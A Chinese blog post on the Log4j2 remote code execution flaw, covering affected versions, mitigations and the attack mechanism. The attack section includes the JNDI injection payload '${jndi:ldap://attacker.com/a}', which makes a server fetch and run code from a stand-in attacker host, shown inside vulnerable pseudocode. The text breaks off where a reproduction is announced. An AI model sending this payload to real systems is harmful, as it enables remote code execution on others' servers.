Log4j史诗级漏洞，我们这些小公司能做些什么？-轻识

大家好，我是跃哥。前几天Log4j的事情大家都知道了吧，跃哥也是第一时间进行了排查，并做好修复。很多人肯定也会有疑问，作为小公司里面的一份子，我们到底要不要更新呢？该怎么去做呢？

事件背景

12月10日，看到朋友圈中已经有人在通宵修改、上线系统了。随即，又看到阿里云安全、腾讯安全部门发出的官方报告：”Apache Log4j2存在远程代码执行漏洞“，且漏洞已对外公开。

看到相关消息，马上爬起来把所有项目的日志系统过滤一遍，还好老项目采用的log4j，新项目采用的logback，没有中招。随后就看到朋友圈铺天盖地的相关消息。

作为一个史诗级的事件，紧急修改漏洞是必然的。作为程序员，如果看到这则消息，连去核查一下系统都做不到，那真的不是一个合格的程序员。

经历过这次事件，不仅是看热闹而已，还要思考一下，作为小公司如何避免、提前预防、做好准备应对这类Bug。

漏洞描述

Apache Log4j2是一款优秀的Java日志框架，与Logback平分秋色，大量主流的开源框架采用了Log4j2，像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。所以，这样一个底层框架出现问题，影响面可想而知。

漏洞信息：Apache Log4j 2.15.0-rc1 版本存在漏洞绕过，需及时更新至 Apache Log4j 2.15.0-rc2 版本。

影响范围：2.0 <= Apache log4j2 <= 2.14.1。

最新修复版本：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

补救方案

方案一：升级版本，发布系统；

方案二：临时补救：

修改JVM参数,设置 -Dlog4j2.formatMsgNoLookups=true。
在涉及漏洞的项目的类路径（classpath）下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true。
将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。

攻击原理

攻击伪代码示例：

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * 示例伪代码：一个简单的HTTP端点，其中读取User Agent信息并进行日志记录；
   */
  public void handle(HttpExchange he) throws IOException {
   // 获取user-agent信息
    String userAgent = he.getRequestHeader("user-agent");
    
    // 此行记录日志的代码，通过记录攻击者控制的HTTP用户代理标头来触发RCE。
    // 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "Hello There, " + userAgent + "!
";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

基于上述代码的基本攻击步骤：

请求对应的HTTP端点（或接口），在请求信息中携带攻击代码（比如，在user-agent中携带${jndi:ldap://attacker.com/a}）；
服务器在通过Log4j2执行日志记录时，记录中包含了基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a}，其中attacker.com是攻击者控制的地址。
记录日志操作触发向攻击者控制的地址发送请求。
对应请求返回在响应中返回可执行的恶意代码，注入到服务器进程当中。比如返回，https://attacker.com/Attack.class 。
进而执行脚本控制服务器。

腾讯安全专家的复现如下：